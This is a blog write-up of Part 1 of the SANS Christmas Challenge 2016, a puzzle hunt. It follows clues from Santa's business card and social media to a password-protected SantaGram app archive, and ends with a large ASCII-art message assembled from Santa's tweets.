SANS Christmas Challenge 2016

Posted on jeu. 05 janvier 2017 in Write-up

sans_christmas_challenge_2016_logo.png

This blog is beginning to look a lot like being exclusively about SANS Christmas Challenges write-ups. What can I say, they're so good! Anyway, let's roll for the 2016 edition of this marvelous Christmas Challenge.

Everything starts again with the Dosis children. As they're reminiscing on last year's Christmas, they hear Santa Claus landing on their roof, getting down the chimney, and starting leaving presents in their living room. Then, suddenly, they hear fighting sounds from downstairs. When they get down, everything is destroyed, as if people had been fighting. But no trace of Santa Claus, only a business card, which we can find in the Dosis' living room...

Part 1: A Most Curious Business Card

In the Dosis' living room, we find the business card of a certain Santa W. Claus:

santa_business_card.png

We now have Santa's Twitter an Instagram accounts. We also see that Santa has left his present bag behind. By going to it, we can see that it's in fact a portal to the North Pole. Here, we can ask around for information on Santa to his elves. We learn that they're running a bug bounty program called SantaGram. To participate into this bug bounty program, we must find the Android application.

By talking to Pepper Minstix, we get a link to a copy of the Dungeon video game. We now know what servers the elves are using to exchange files. Let's see if we can find a copy of SantaGram on this server.

If we look back at Santa's Instagram account, we can see a photo of one of the elves' desktop. If we zoom in, we can see that this elf was building a copy of the coveted SantaGram Android application:

instagram_elf_desktop.jpg

With the name of the ZIP archive on the screenshot, we can download the SantaGram application at this URL.

You can download the ZIP file here (sha256: 51c3d144ffb25d06316bdd309a5e8a24cadb7592aace91036bd61f2f0c7440e5).

Unfortunately, the archive is password protected:

$ unzip SantaGram_v4.2.zip
Archive:  SantaGram_v4.2.zip
[SantaGram_v4.2.zip] SantaGram_4.2.apk password:

Let's take a look at Santa's tweets, to see if we can find a clue:

santa_twitter.png

Hmm, just a bunch of nonsense. Or is it? If we get the content of every tweet, and paste them in a text file, we get the following string:

SANTAELFHOHOHOCHRISTMASSANTACHRISTMASPEACEONEARTHCHRISTMASELFSANTAELFHOHOHO
GOODWILLTOWARDSMENSANTAPEACEONEARTHHOHOHOJOYSANTAGOODWILLTOWARDSMENJOYJOYQQ
GOODWILLTOWARDSMENGOODWILLTOWARDSMENJOYHOHOHOJOYELFELFPEACEONEARTHJOYHOHOHO
GOODWILLTOWARDSMENSANTACHRISTMASCHRISTMASPEACEONEARTHNORTHPOLEHOHOHOELFELFQ
JOYNORTHPOLECHRISTMASPEACEONEARTHNORTHPOLEJOYGOODWILLTOWARDSMENELFCHRISTMAS
CHRISTMASGOODWILLTOWARDSMENELFHOHOHOCHRISTMASPEACEONEARTHPEACEONEARTHJOYELF
HOHOHOGOODWILLTOWARDSMENNORTHPOLEGOODWILLTOWARDSMENSANTAPEACEONEARTHELFELFQ
GOODWILLTOWARDSMENP???????????????????????????????4CHRISTMASJOYELFELFSANTAQ
NORTHPOLEHOHOHOELFf...............................]PEACEONEARTHHOHOHOSANTAQ
SANTASANTAJOYELFQQf...............................]PEACEONEARTHCHRISTMASELF
CHRISTMASELFELFJOYf...............................]HOHOHOSANTAHOHOHOELFJOYQ
SANTASANTAJOYJOYQQf...............................]GOODWILLTOWARDSMENHOHOHO
NORTHPOLEELFELFELFf...............................]PEACEONEARTHHOHOHOSANTAQ
NORTHPOLECHRISTMASf...............................]PEACEONEARTHCHRISTMASJOY
PEACEONEARTHSANTAQf...............................]PEACEONEARTHNORTHPOLEELF
JOYCHRISTMASSANTAQf...............................]CHRISTMASHOHOHOCHRISTMAS
NORTHPOLEHOHOHOJOYf...............................]PEACEONEARTHPEACEONEARTH
SANTAELFELFJOYJOYQf.......aaaaaa/....._aaaaa......]PEACEONEARTHNORTHPOLEELF
GOODWILLTOWARDSMENf.......QQWQWQf.....]ELFWQ......]HOHOHOHOHOHOCHRISTMASJOY
NORTHPOLESANTAJOYQf.......HOHOHOf.....]JOYQQ......]CHRISTMASCHRISTMASHOHOHO
NORTHPOLEELFJOYJOYf.......SANTAQf.....]JOYQQ......]NORTHPOLEPEACEONEARTHELF
SANTAPEACEONEARTHQf.......HOHOHOf.....]SANTA......]PEACEONEARTHCHRISTMASELF
ELFSANTASANTAJOYQQf.......HOHOHOf.....]JOYQW......]CHRISTMASPEACEONEARTHJOY
JOYHOHOHONORTHPOLEf.......SANTAQ[.....)ELFQE......]PEACEONEARTHPEACEONEARTH
HOHOHOCHRISTMASJOYf.......$WJOYQ(......$WQQ(......]GOODWILLTOWARDSMENSANTAQ
JOYPEACEONEARTHELFf.......)JOYQ@........??'.......]SANTAPEACEONEARTHHOHOHOQ
JOYJOYPEACEONEARTHL........?$QV'..................]CHRISTMASJOYNORTHPOLEJOY
SANTAJOYCHRISTMASQk...............................jGOODWILLTOWARDSMENJOYJOY
GOODWILLTOWARDSMENW...............................jJOYNORTHPOLEJOYELFSANTAQ
HOHOHOSANTAJOYELFQQ...............................GOODWILLTOWARDSMENHOHOHOQ
CHRISTMASSANTASANTA;................;............=JOYNORTHPOLEPEACEONEARTHQ
GOODWILLTOWARDSMENQL...............)L............jHOHOHOHOHOHOCHRISTMASELFQ
CHRISTMASHOHOHOELFQQ...............dQ,..........<GOODWILLTOWARDSMENHOHOHOQQ
GOODWILLTOWARDSMENQQL.............<QQm,........_HOHOHOHOHOHOCHRISTMASELFELF
SANTACHRISTMASELFELFQc..........._mJOYQc......aPEACEONEARTHCHRISTMASSANTAQQ
CHRISTMASPEACEONEARTHQw........._mSANTAWmwaawGOODWILLTOWARDSMENSANTAJOYELFQ
PEACEONEARTHELFSANTAELFQw,,..__yHOHOHOELFQWQQWGOODWILLTOWARDSMENHOHOHOSANTA
ELFHOHOHONORTHPOLEELFJOYWGOODWILLTOWARDSMENCHRISTMASSANTACHRISTMASJOYSANTAQ
ELFELFHOHOHOHOHOHOHOHOHONORTHPOLEJOYHOHOHOGOODWILLTOWARDSMENELFELFELFSANTAQ
ELFHOHOHOJOYPEACEONEARTHPEACEONEARTHJOYGOODWILLTOWARDSMENJOYELFPEACEONEARTH
GOODWILLTOWARDSMENJOYGOODWILLTOWARDSMENGOODWILLTOWARDSMENSANTAELFJOYJOYJOYQ
ELFSANTAPEACEONEARTHJOYJOYQQDT????????????????????4NORTHPOLEPEACEONEARTHELF
NORTHPOLENORTHPOLESANTAQWT^.......................]NORTHPOLEELFHOHOHOJOYELF
HOHOHOHOHOHOCHRISTMASQQP`.........................]JOYGOODWILLTOWARDSMENELF
ELFPEACEONEARTHSANTAQQ(...........................]HOHOHOSANTACHRISTMASJOYQ
JOYJOYCHRISTMASELFJOY(............................]GOODWILLTOWARDSMENHOHOHO
CHRISTMASELFELFELFQQf.............................]HOHOHONORTHPOLEJOYELFJOY
SANTACHRISTMASJOYQQD..............................]HOHOHOHOHOHOSANTASANTAQQ
HOHOHOELFSANTAELFQQ(..............................]GOODWILLTOWARDSMENHOHOHO
GOODWILLTOWARDSMENW...............................]NORTHPOLEHOHOHOHOHOHOJOY
CHRISTMASHOHOHOJOYF...............................]GOODWILLTOWARDSMENSANTAQ
CHRISTMASCHRISTMAS[.........._aaaaaaaaaaaaaaaaaaaajPEACEONEARTHELFNORTHPOLE
SANTANORTHPOLEELFQ(........jJOYQWQWWQWWQWWWWWWWWWGOODWILLTOWARDSMENHOHOHOQQ
ELFPEACEONEARTHELF;.......jWWSANTAGOODWILLTOWARDSMENSANTAGOODWILLTOWARDSMEN
ELFJOYNORTHPOLEJOY`.......QWGOODWILLTOWARDSMENGOODWILLTOWARDSMENCHRISTMASQQ
PEACEONEARTHJOYELF.......]WPEACEONEARTHCHRISTMASNORTHPOLEPEACEONEARTHHOHOHO
CHRISTMASJOYHOHOHO.......]HOHOHOELFGOODWILLTOWARDSMENPEACEONEARTHCHRISTMASQ
JOYCHRISTMASJOYELF.......]PEACEONEARTHCHRISTMASGOODWILLTOWARDSMENELFHOHOHOQ
JOYPEACEONEARTHJOY.......)WGOODWILLTOWARDSMENSANTANORTHPOLEJOYPEACEONEARTHQ
CHRISTMASHOHOHOELF........$WPEACEONEARTHNORTHPOLESANTAPEACEONEARTHSANTAJOYQ
JOYHOHOHOELFELFJOY;.......-QWCHRISTMASGOODWILLTOWARDSMENPEACEONEARTHJOYELFQ
HOHOHOCHRISTMASJOY(........-?$QWJOYCHRISTMASSANTACHRISTMASCHRISTMASHOHOHOQQ
ELFJOYELFCHRISTMASf...............................]PEACEONEARTHNORTHPOLEJOY
ELFHOHOHOSANTAELFQh...............................]GOODWILLTOWARDSMENHOHOHO
SANTACHRISTMASELFQQ,..............................]PEACEONEARTHPEACEONEARTH
GOODWILLTOWARDSMENQL..............................]HOHOHOELFCHRISTMASSANTAQ
GOODWILLTOWARDSMENQQ,.............................]PEACEONEARTHELFHOHOHOJOY
NORTHPOLESANTAHOHOHOm.............................]HOHOHOGOODWILLTOWARDSMEN
PEACEONEARTHCHRISTMASg............................]ELFHOHOHOSANTANORTHPOLEQ
NORTHPOLECHRISTMASJOYQm,..........................]NORTHPOLECHRISTMASSANTAQ
SANTASANTACHRISTMASSANTAw,........................]GOODWILLTOWARDSMENSANTAQ
GOODWILLTOWARDSMENHOHOHOWQga,,....................]PEACEONEARTHPEACEONEARTH
PEACEONEARTHJOYCHRISTMASELFWCHRISTMASGOODWILLTOWARDSMENJOYPEACEONEARTHSANTA
PEACEONEARTHPEACEONEARTHCHRISTMASJOYSANTAPEACEONEARTHCHRISTMASELFHOHOHOELFQ
GOODWILLTOWARDSMENNORTHPOLECHRISTMASPEACEONEARTHHOHOHOELFJOYNORTHPOLEELFELF
JOYGOODWILLTOWARDSMENSANTACHRISTMASJOYPEACEONEARTHHOHOHOELFCHRISTMASHOHOHOQ
HOHOHOCHRISTMASHOHOHOSANTANORTHPOLEPEACEONEARTHJOYPEACEONEARTHJOYJOYHOHOHOQ
JOYELFGOODWILLTOWARDSMENSANTAQBTT???TT$SANTASANTAPEACEONEARTHNORTHPOLEJOYQQ
SANTACHRISTMASCHRISTMASJOYWP"`.........-"9NORTHPOLEPEACEONEARTHCHRISTMASELF
SANTAELFELFELFSANTAJOYQQWP`...............-4JOYSANTANORTHPOLEJOYSANTASANTAQ
ELFELFELFHOHOHOHOHOHOQQ@'..................."$CHRISTMASELFSANTANORTHPOLEELF
ELFCHRISTMASSANTAELFQQP`.....................-$WELFWPEACEONEARTHSANTASANTAQ
SANTANORTHPOLEJOYELFQE........................-$SANTAELFWGOODWILLTOWARDSMEN
NORTHPOLEELFELFELFQQ@`.........................-QWPEACEONEARTHPEACEONEARTHQ
PEACEONEARTHJOYJOYQQ(...........................]CHRISTMASHOHOHOELFSANTAJOY
HOHOHOCHRISTMASELFQP.............................$NORTHPOLEJOYQWJOYWJOYWELF
SANTACHRISTMASJOYQQ(.............................]WSANTAWPEACEONEARTHJOYELF
HOHOHOSANTAJOYELFQW............_aaaas,............QWCHRISTMASQWHOHOHOSANTAQ
SANTAPEACEONEARTHQf........._wELFWWWWQQw,.........3ELFHOHOHOJOYJOYSANTAELFQ
CHRISTMASSANTAELFQ[........<HOHOHOELFELFQc........]CHRISTMASPEACEONEARTHELF
CHRISTMASCHRISTMAS(......._PEACEONEARTHJOY/.......)NORTHPOLESANTAELFQWELFWQ
PEACEONEARTHSANTAQ`.......dNORTHPOLEHOHOHOm.......:NORTHPOLEWCHRISTMASJOYQQ
PEACEONEARTHELFELF........SANTANORTHPOLEJOY;.......SANTASANTAJOYQWSANTAJOYQ
PEACEONEARTHSANTAQ.......]ELFSANTAJOYJOYELF[.......GOODWILLTOWARDSMENSANTAQ
GOODWILLTOWARDSMEN.......]ELFNORTHPOLEJOYQQf.......ELFSANTAJOYHOHOHOQQWELFQ
GOODWILLTOWARDSMEN.......]ELF.......]JOYELF[.......PEACEONEARTHPEACEONEARTH
HOHOHOJOYNORTHPOLE.......]JOY.......]SANTAQ'.......SANTASANTAQQWNORTHPOLEQQ
CHRISTMASNORTHPOLE:......)WQQ.......]SANTAD........NORTHPOLESANTAELFWELFJOY
ELFCHRISTMASSANTAQ;......-JOY.......]ELFQW'.......:PEACEONEARTHCHRISTMASJOY
CHRISTMASSANTAELFQ[.......WQQ.......]ELFD'........=HOHOHOGOODWILLTOWARDSMEN
ELFELFSANTAJOYELFQL.......]QQ.......]ELF..........]PEACEONEARTHQWCHRISTMASQ
NORTHPOLESANTAELFQm.......+QQ.......]ELF;.........jWNORTHPOLENORTHPOLEELFWQ
JOYELFHOHOHOSANTAQQ.................]JOY[.........mCHRISTMASCHRISTMASQQWELF
NORTHPOLENORTHPOLEQ[................]JOYL........_PEACEONEARTHSANTASANTAELF
SANTANORTHPOLEJOYQQm................]ELFk........dHOHOHOPEACEONEARTHQQWJOYQ
PEACEONEARTHHOHOHOQQc...............]JOYm.......]PEACEONEARTHHOHOHOWHOHOHOQ
CHRISTMASHOHOHOJOYQQm...............]ELFQ......_GOODWILLTOWARDSMENNORTHPOLE
JOYELFNORTHPOLEJOYELFL..............]JOYQ;....<SANTAHOHOHONORTHPOLEELFSANTA
PEACEONEARTHELFHOHOHOQ,.............]JOYQ[...wPEACEONEARTHELFSANTAWHOHOHOQQ
CHRISTMASELFELFELFJOYQ6.............]ELFQL_wPEACEONEARTHHOHOHOCHRISTMASELFQ
HOHOHOJOYNORTHPOLEQWELFwaaaaaaaaaaaajPEACEONEARTHGOODWILLTOWARDSMENSANTAQWQ
CHRISTMASELFPEACEONEARTHWWWQWWQWWWWELFELFSANTANORTHPOLESANTAELFQQWJOYHOHOHO
CHRISTMASNORTHPOLEHOHOHOHOHOHOCHRISTMASGOODWILLTOWARDSMENNORTHPOLEHOHOHOWQQ
GOODWILLTOWARDSMENNORTHPOLENORTHPOLESANTANORTHPOLEJOYSANTAELFELFWCHRISTMASQ
GOODWILLTOWARDSMENHOHOHOHOHOHONORTHPOLEELFSANTAELFNORTHPOLEPEACEONEARTHELFQ
PEACEONEARTHELFELFQWPEACEONEARTHPEACEONEARTHHOHOHOPEACEONEARTHWNORTHPOLEWQQ
ELFPEACEONEARTHCHRISTMASELFPEACEONEARTHJOYNORTHPOLEGOODWILLTOWARDSMENSANTAQ
SANTASANTASANTAJOYELFJOYWGOODWILLTOWARDSMENPEACEONEARTHSANTAWPEACEONEARTHQQ
PEACEONEARTHSANTAJOYGOODWILLTOWARDSMENSANTACHRISTMASELFCHRISTMASELFJOYQWELF
CHRISTMASCHRISTMASELFELFHOHOHOWJOYWNORTHPOLESANTACHRISTMASWSANTAJOYQQWJOYQQ
ELFJOYSANTAJOYJOYQQWJOYWPEACEONEARTHNORTHPOLEHOHOHOHOHOHONORTHPOLEELFJOYELF
ELFNORTHPOLEJOYSANTANORTHPOLECHRISTMASQQWPEACEONEARTHJOYQWHOHOHOJOYWJOYELFQ
NORTHPOLECHRISTMASHOHOHOSANTAWPEACEONEARTHGOODWILLTOWARDSMENCHRISTMASHOHOHO
GOODWILLTOWARDSMENSANTACHRISTMASSANTAQQWELFHOHOHOSANTAQQWJOYSANTAQWSANTAJOY
JOYNORTHPOLEJOYPEACEONEARTHWELFELFQQWNORTHPOLEQWHOHOHONORTHPOLEELFELFHOHOHO
CHRISTMASSANTASANTAWJOYWCHRISTMASHOHOHONORTHPOLEJOYQQWHOHOHOSANTAWNORTHPOLE
PEACEONEARTHSANTASANTAPEACEONEARTHNORTHPOLEJOYJOYJOYELFCHRISTMASHOHOHOSANTA
SANTASANTACHRISTMASJOYJOYJOYELFJOYQWHOHOHOJOYQWPEACEONEARTHELFQQWCHRISTMASQ
GOODWILLTOWARDSMENELFPEACEONEARTHHOHOHOCHRISTMASELFQWHOHOHOWCHRISTMASHOHOHO
CHRISTMASELFELFPEACEONEARTHWELFQQWHOHOHOQQWCHRISTMASELFJOYNORTHPOLEHOHOHOQQ
SANTAPEACEONEARTHQQWJOYWCHRISTMASHOHOHOPEACEONEARTHGOODWILLTOWARDSMENJOYQWQ
JOYJOYHOHOHOELFELFP???????????????????????????????4SANTAQQWPEACEONEARTHELFQ
NORTHPOLENORTHPOLEf...............................]PEACEONEARTHQQWHOHOHOWQQ
CHRISTMASJOYHOHOHOf...............................]ELFGOODWILLTOWARDSMENELF
NORTHPOLEELFELFELFf...............................]PEACEONEARTHHOHOHOQQWELF
NORTHPOLEHOHOHOELFf...............................]CHRISTMASJOYQWSANTASANTA
SANTAJOYNORTHPOLEQf...............................]SANTAHOHOHOWJOYCHRISTMAS
GOODWILLTOWARDSMENf...............................]PEACEONEARTHHOHOHOQWJOYQ
ELFPEACEONEARTHELFf...............................]GOODWILLTOWARDSMENHOHOHO
JOYCHRISTMASELFELFf...............................]GOODWILLTOWARDSMENSANTAQ
GOODWILLTOWARDSMENf...............................]NORTHPOLEPEACEONEARTHJOY
ELFSANTAHOHOHOELFQf.......aaaaaa/....._aaaaa......]GOODWILLTOWARDSMENWELFQQ
NORTHPOLEHOHOHOELFf.......QWWWWQf.....]QQWWQ......]HOHOHOHOHOHOQQWJOYSANTAQ
SANTANORTHPOLEJOYQf.......HOHOHOf.....]JOYQQ......]HOHOHOHOHOHONORTHPOLEELF
NORTHPOLEJOYJOYELFf.......JOYELFf.....]SANTA......]NORTHPOLEHOHOHONORTHPOLE
SANTASANTASANTAELFf.......JOYELFf.....]SANTA......]NORTHPOLENORTHPOLEELFELF
GOODWILLTOWARDSMENf.......JOYJOYf.....]JOYQW......]PEACEONEARTHHOHOHOQWELFQ
GOODWILLTOWARDSMENf.......HOHOHO[.....)JOYQE......]HOHOHOELFHOHOHOQQWJOYJOY
JOYNORTHPOLEELFELFf.......$WELFQ(......$WQQ(......]PEACEONEARTHNORTHPOLEELF
NORTHPOLEJOYELFJOYf.......)ELFQ@........??'.......]CHRISTMASPEACEONEARTHJOY
SANTAPEACEONEARTHQL........?$QV'..................]HOHOHOGOODWILLTOWARDSMEN
JOYELFPEACEONEARTHk...............................jJOYSANTACHRISTMASWJOYJOY
SANTAPEACEONEARTHQW...............................jSANTAGOODWILLTOWARDSMENQ
CHRISTMASSANTAELFQQ...............................HOHOHOPEACEONEARTHSANTAQQ
ELFCHRISTMASELFELFQ;................;............=NORTHPOLENORTHPOLEJOYELFQ
NORTHPOLEJOYSANTAQQ[...............)L............jPEACEONEARTHJOYHOHOHOQQWQ
CHRISTMASHOHOHOJOYQm...............dQ,..........<GOODWILLTOWARDSMENQWSANTAQ
SANTACHRISTMASSANTAQL.............<QQm,........_JOYELFGOODWILLTOWARDSMENELF
HOHOHOSANTASANTAJOYQQc..........._mELFQc......aGOODWILLTOWARDSMENSANTAJOYWQ
CHRISTMASHOHOHOJOYJOYQw........._mELFQQWmwaawGOODWILLTOWARDSMENNORTHPOLEELF
NORTHPOLEELFPEACEONEARTHw,,..__yELFJOYJOYQWQWQWGOODWILLTOWARDSMENCHRISTMASQ
JOYNORTHPOLEELFNORTHPOLEWGOODWILLTOWARDSMENNORTHPOLEJOYJOYJOYSANTAQQWELFWQQ
JOYSANTAELFHOHOHOQQWNORTHPOLENORTHPOLEGOODWILLTOWARDSMENSANTASANTAHOHOHOJOY
ELFHOHOHOCHRISTMASCHRISTMASELFPEACEONEARTHHOHOHOELFCHRISTMASHOHOHOELFJOYELF
JOYPEACEONEARTHJOYNORTHPOLEGOODWILLTOWARDSMENHOHOHONORTHPOLEHOHOHOELFELFJOY
HOHOHOPEACEONEARTHELFJOYJOYQV?"~....--"?$CHRISTMASELFWPEACEONEARTHQWHOHOHOQ
CHRISTMASCHRISTMASJOYELFWW?`.............-?CHRISTMASHOHOHOQWELFWSANTAJOYWQQ
SANTAPEACEONEARTHQQWELFQP`.................-4HOHOHOWCHRISTMASNORTHPOLESANTA
CHRISTMASNORTHPOLEJOYQW(.....................)WGOODWILLTOWARDSMENNORTHPOLEQ
GOODWILLTOWARDSMENJOYW'.......................)WSANTAJOYQQWNORTHPOLEHOHOHOQ
JOYNORTHPOLEHOHOHOJOY(.........................)PEACEONEARTHSANTAELFWJOYWQQ
GOODWILLTOWARDSMENQQf...........................4PEACEONEARTHELFQWCHRISTMAS
NORTHPOLEHOHOHOELFQW`...........................-HOHOHOWCHRISTMASCHRISTMASQ
GOODWILLTOWARDSMENQf.............................]JOYJOYSANTAELFWCHRISTMASQ
HOHOHONORTHPOLEJOYQ`.............................-HOHOHOELFQWCHRISTMASSANTA
ELFELFELFJOYHOHOHOE.........._wwQWQQmga,..........$GOODWILLTOWARDSMENJOYWQQ
NORTHPOLECHRISTMASf........_yJOYWSANTAQQg,........]PEACEONEARTHPEACEONEARTH
SANTANORTHPOLEJOYQ[......._ELFELFSANTAELFQ,.......]CHRISTMASSANTASANTAWJOYQ
CHRISTMASCHRISTMAS;.......dPEACEONEARTHJOYk.......=JOYJOYHOHOHOQWJOYWHOHOHO
ELFNORTHPOLEELFELF......._HOHOHOCHRISTMASQQ,.......NORTHPOLEQWSANTASANTAELF
PEACEONEARTHJOYJOY.......]PEACEONEARTHJOYQQ[.......GOODWILLTOWARDSMENELFJOY
HOHOHOELFNORTHPOLE.......]PEACEONEARTHSANTAf.......NORTHPOLEHOHOHOHOHOHOELF
ELFSANTAELFHOHOHOQ.......]NORTHPOLEHOHOHOQQ[.......GOODWILLTOWARDSMENHOHOHO
CHRISTMASCHRISTMAS.......)PEACEONEARTHJOYQQ(.......HOHOHOHOHOHOSANTAWHOHOHO
SANTASANTAELFJOYQQ........HOHOHOCHRISTMASQ@.......:NORTHPOLEELFQWSANTASANTA
CHRISTMASCHRISTMAS;.......]PEACEONEARTHELF[.......<HOHOHOSANTANORTHPOLEQQWQ
HOHOHOPEACEONEARTH[........4HOHOHOJOYELFQf........]PEACEONEARTHHOHOHOHOHOHO
CHRISTMASCHRISTMASL........."HWJOYSANTAD^.........jNORTHPOLENORTHPOLEHOHOHO
GOODWILLTOWARDSMENm............"!???!"`...........NORTHPOLEHOHOHOWJOYQWELFQ
CHRISTMASJOYELFELFQ/.............................]WNORTHPOLECHRISTMASHOHOHO
SANTAJOYCHRISTMASQQk.............................dPEACEONEARTHELFELFHOHOHOQ
SANTAPEACEONEARTHJOY/...........................<NORTHPOLECHRISTMASHOHOHOQQ
ELFSANTASANTASANTAQQm...........................mJOYELFSANTAPEACEONEARTHELF
CHRISTMASCHRISTMASELFk.........................jGOODWILLTOWARDSMENQWJOYWELF
ELFJOYCHRISTMASJOYJOYQL.......................jNORTHPOLENORTHPOLEJOYJOYJOYQ
ELFELFJOYSANTAJOYELFELFg,..................._yGOODWILLTOWARDSMENQQWSANTAELF
PEACEONEARTHJOYELFQWSANTAc.................aQWCHRISTMASHOHOHOSANTAJOYHOHOHO
SANTAJOYJOYPEACEONEARTHELFQa,..........._wQWWHOHOHOSANTAJOYELFQQWJOYSANTAQQ
HOHOHOELFJOYPEACEONEARTHQQWJOYmwwaaaawyJOYWCHRISTMASHOHOHOPEACEONEARTHJOYWQ
ELFCHRISTMASSANTASANTASANTAJOYQQWWWWQWGOODWILLTOWARDSMENJOYELFQWCHRISTMASQQ
SANTAHOHOHOELFPEACEONEARTHGOODWILLTOWARDSMENJOYPEACEONEARTHSANTASANTAJOYWQQ
HOHOHOJOYELFJOYELFQWGOODWILLTOWARDSMENPEACEONEARTHGOODWILLTOWARDSMENELFELFQ
NORTHPOLEJOYJOYELFHOHOHOWPEACEONEARTHNORTHPOLECHRISTMASHOHOHOQWELFJOYQQWJOY
GOODWILLTOWARDSMENSANTAJOYNORTHPOLENORTHPOLEHOHOHOHOHOHOGOODWILLTOWARDSMENQ
CHRISTMASJOYSANTANORTHPOLEV?"-....................]GOODWILLTOWARDSMENQWJOYQ
GOODWILLTOWARDSMENSANTAW?`........................]GOODWILLTOWARDSMENSANTAQ
HOHOHOELFJOYJOYELFQWQQD'..........................]HOHOHONORTHPOLEQWHOHOHOQ
PEACEONEARTHHOHOHOJOYP`...........................]SANTAJOYELFWHOHOHOHOHOHO
PEACEONEARTHHOHOHOQQD`............................]JOYPEACEONEARTHSANTAELFQ
PEACEONEARTHHOHOHOQW'.............................]CHRISTMASJOYELFQWHOHOHOQ
ELFPEACEONEARTHELFQf..............................]PEACEONEARTHELFNORTHPOLE
SANTACHRISTMASJOYQQ`..............................]NORTHPOLEQQWNORTHPOLEQWQ
CHRISTMASHOHOHOELFE...............................]SANTAGOODWILLTOWARDSMENQ
GOODWILLTOWARDSMENf...............................]GOODWILLTOWARDSMENSANTAQ
ELFCHRISTMASELFJOY[.........amWNORTHPOLEGOODWILLTOWARDSMENJOYJOYJOYQWELFWQQ
PEACEONEARTHJOYJOY(......._QQWHOHOHOWJOYWPEACEONEARTHPEACEONEARTHNORTHPOLEQ
NORTHPOLEELFELFJOY`.......mSANTAQQWCHRISTMASQQWGOODWILLTOWARDSMENQQWHOHOHOQ
JOYSANTANORTHPOLEQ`......=CHRISTMASPEACEONEARTHSANTANORTHPOLENORTHPOLESANTA
NORTHPOLESANTAJOYQ.......]NORTHPOLEPEACEONEARTHELFHOHOHOGOODWILLTOWARDSMENQ
ELFNORTHPOLESANTAQ.......]GOODWILLTOWARDSMENQWELFJOYPEACEONEARTHCHRISTMASQQ
HOHOHONORTHPOLEJOY.......]GOODWILLTOWARDSMENJOYJOYQWPEACEONEARTHJOYWSANTAWQ
PEACEONEARTHJOYELF.......-QWSANTAELFWSANTAWHOHOHOPEACEONEARTHCHRISTMASELFQQ
CHRISTMASSANTAJOYQ........]SANTASANTASANTAGOODWILLTOWARDSMENPEACEONEARTHELF
ELFHOHOHOCHRISTMAS;........?ELFJOYPEACEONEARTHELFQWGOODWILLTOWARDSMENHOHOHO
GOODWILLTOWARDSMEN[.........-"????????????????????4ELFCHRISTMASHOHOHOQQWELF
SANTASANTAJOYSANTAL...............................]HOHOHOQWJOYELFQQWJOYJOYQ
NORTHPOLECHRISTMASQ...............................]NORTHPOLEELFQWJOYJOYELFQ
SANTANORTHPOLEELFQWc..............................]GOODWILLTOWARDSMENSANTAQ
JOYSANTACHRISTMASQQm..............................]ELFNORTHPOLECHRISTMASELF
CHRISTMASSANTASANTAQL.............................]PEACEONEARTHWJOYJOYQQWQQ
ELFNORTHPOLEHOHOHOJOYc............................]SANTACHRISTMASJOYELFJOYQ
SANTAELFHOHOHOJOYJOYQQc...........................]PEACEONEARTHSANTAQQWJOYQ
GOODWILLTOWARDSMENSANTAw,.........................]NORTHPOLEHOHOHONORTHPOLE
NORTHPOLENORTHPOLEQWSANTAa,.......................]PEACEONEARTHWSANTAWJOYQQ
SANTACHRISTMASHOHOHOELFELFQQgwaaaaaaaaaaaaaaaaaaaajCHRISTMASJOYPEACEONEARTH
SANTAHOHOHOPEACEONEARTHSANTAQWWWWWWWWWWWWWWWWWWWWHOHOHOELFJOYCHRISTMASELFQQ
NORTHPOLESANTASANTANORTHPOLESANTAPEACEONEARTHCHRISTMASELFHOHOHOELFJOYWJOYQQ
JOYELFJOYNORTHPOLEPEACEONEARTHJOYGOODWILLTOWARDSMENPEACEONEARTHELFELFELFELF
SANTAJOYCHRISTMASQQWELFWGOODWILLTOWARDSMENSANTANORTHPOLENORTHPOLEJOYWSANTAQ
JOYPEACEONEARTHSANTAGOODWILLTOWARDSMENJOYPEACEONEARTHJOYELFJOYCHRISTMASJOYQ
PEACEONEARTHJOYHOHOHOJOYHOHOHONORTHPOLEHOHOHOGOODWILLTOWARDSMENPEACEONEARTH
SANTASANTAELFJOYQQP???????????????????????????????4PEACEONEARTHJOYQWSANTAQQ
ELFELFHOHOHOHOHOHOf...............................]GOODWILLTOWARDSMENJOYELF
SANTAJOYELFELFELFQf...............................]CHRISTMASNORTHPOLESANTAQ
SANTAHOHOHOELFJOYQf...............................]GOODWILLTOWARDSMENELFELF
GOODWILLTOWARDSMENf...............................]CHRISTMASCHRISTMASJOYQWQ
JOYSANTAELFJOYELFQf...............................]PEACEONEARTHSANTAWHOHOHO
CHRISTMASCHRISTMASf...............................]GOODWILLTOWARDSMENSANTAQ
PEACEONEARTHSANTAQf...............................]HOHOHOHOHOHOJOYWHOHOHOWQ
JOYELFHOHOHOJOYELFf...............................]GOODWILLTOWARDSMENHOHOHO
SANTANORTHPOLEJOYQf...............................]PEACEONEARTHNORTHPOLEELF
HOHOHOGOODWILLTOWARDSMENSANTAWJOYQ@'.............sPEACEONEARTHELFWCHRISTMAS
GOODWILLTOWARDSMENHOHOHOCHRISTMASF............._yWWPEACEONEARTHELFELFJOYWQQ
SANTAGOODWILLTOWARDSMENQQWELFQQ@'.............sQWGOODWILLTOWARDSMENJOYJOYQQ
NORTHPOLECHRISTMASNORTHPOLEQQWF............._yQWELFELFELFSANTASANTAHOHOHOQQ
NORTHPOLECHRISTMASELFQQWELFQ@'.............aWCHRISTMASELFPEACEONEARTHQQWELF
SANTAHOHOHOHOHOHOJOYWSANTAQ?............._yQWPEACEONEARTHCHRISTMASQQWJOYJOY
CHRISTMASSANTACHRISTMASQQ@'.............aJOYNORTHPOLESANTAELFHOHOHOSANTAELF
SANTACHRISTMASNORTHPOLEW?............._yCHRISTMASCHRISTMASCHRISTMASHOHOHOQQ
PEACEONEARTHHOHOHOQWQQD'.............aHOHOHOHOHOHONORTHPOLEHOHOHOELFWHOHOHO
HOHOHOCHRISTMASELFELF!............._mGOODWILLTOWARDSMENCHRISTMASSANTASANTAQ
JOYPEACEONEARTHELFQD'.............aCHRISTMASPEACEONEARTHSANTAHOHOHOWSANTAQQ
NORTHPOLEJOYHOHOHOF.............."????????????????4PEACEONEARTHQQWHOHOHOELF
HOHOHOELFSANTAELFQf...............................]SANTAQWJOYWNORTHPOLEELFQ
HOHOHOPEACEONEARTHf...............................]PEACEONEARTHPEACEONEARTH
JOYPEACEONEARTHELFf...............................]HOHOHOSANTASANTASANTAELF
GOODWILLTOWARDSMENf...............................]PEACEONEARTHNORTHPOLEJOY
NORTHPOLEHOHOHOELFf...............................]HOHOHOCHRISTMASWSANTAELF
ELFSANTACHRISTMASQf...............................]SANTAJOYJOYQWSANTAJOYWQQ
HOHOHONORTHPOLEJOYf...............................]PEACEONEARTHSANTAHOHOHOQ
